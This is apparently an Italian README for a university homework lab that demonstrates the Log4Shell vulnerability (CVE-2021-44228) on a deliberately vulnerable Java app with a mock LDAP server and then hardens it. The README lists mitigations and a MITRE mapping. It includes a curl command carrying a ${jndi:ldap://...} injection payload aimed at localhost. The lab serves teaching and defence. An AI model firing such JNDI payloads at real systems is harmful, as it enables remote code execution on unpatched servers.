Compito 9 – Proteggere i sistemi dagli exploit Log4Shell

Panoramica

Questo progetto dimostra lo sfruttamento e la mitigazione della vulnerabilità Log4Shell (CVE-2021-44228) utilizzando un'applicazione web Java containerizzata con Log4j 2.14.1 vulnerabile. La configurazione include anche un server LDAP dannoso simulato per dimostrare il percorso di attacco di iniezione JNDI.

Dopo lo sfruttamento, il sistema viene indurito aggiornando Log4j, validando l'input e applicando le raccomandazioni MITRE D3FEND e ATT&CK.

📁 Struttura delle cartelle

log4shell-homework9/
├── docker-compose.yml
├── Dockerfile
├── pom.xml
├── ldap_server.py
├── src/...
├── architecture_diagram.png
├── README.md
├── mitigation_report.pdf

🚀 Come eseguire

1. Costruisci l'app Java (con Log4j vulnerabile)

docker build -t vulnerable-app .

2. Esegui l'app con Docker Compose

docker-compose up

L'app sarà in esecuzione su:
http://localhost:8080

3. Avvia il server LDAP fittizio (in un nuovo terminale)

python3 ldap_server.py

4. Simula un exploit

Invia una richiesta come questa all'app:

curl http://localhost:8080?input=${jndi:ldap://localhost:8000/Exploit}

Il server LDAP dovrebbe ricevere la richiesta (questo simula l'exploit JNDI).

🛡️ Come viene indurito

Dopo aver dimostrato l'attacco, il sistema è stato protetto:

• Aggiornamento di Log4j alla versione 2.17.0
• Validazione dell'input (blocco dei pattern ${jndi:...})
• Disabilitazione dei lookup dei messaggi nella configurazione
• Isolamento Docker per limitare l'ambito
• Applicazione delle tecniche MITRE D3FEND e ATT&CK

🗺️ Mappatura MITRE

MITRE ATT&CK:

• T1190: Sfruttamento di applicazioni esposte al pubblico
• T1210: Sfruttamento di servizi remoti

MITRE D3FEND:

• D3-IA: Validazione dell'input
• D3-HI: Rilevamento delle intrusioni basato su host
• D3-DA: Disabilitazione delle funzionalità non sicure

📄 Relazione

Vedere mitigation_report.pdf per:

• Architettura del sistema prima/dopo
• Spiegazione di Log4Shell
• Strategia di mitigazione
• Piano di risposta agli incidenti

🎥 Registrazione dello schermo

Se il video non è caricato direttamente, è disponibile al link nella relazione.

✍️ Autore

Serpil Rivas
SEAS 8405 – Architetture di cybersecurity
Maggio 2025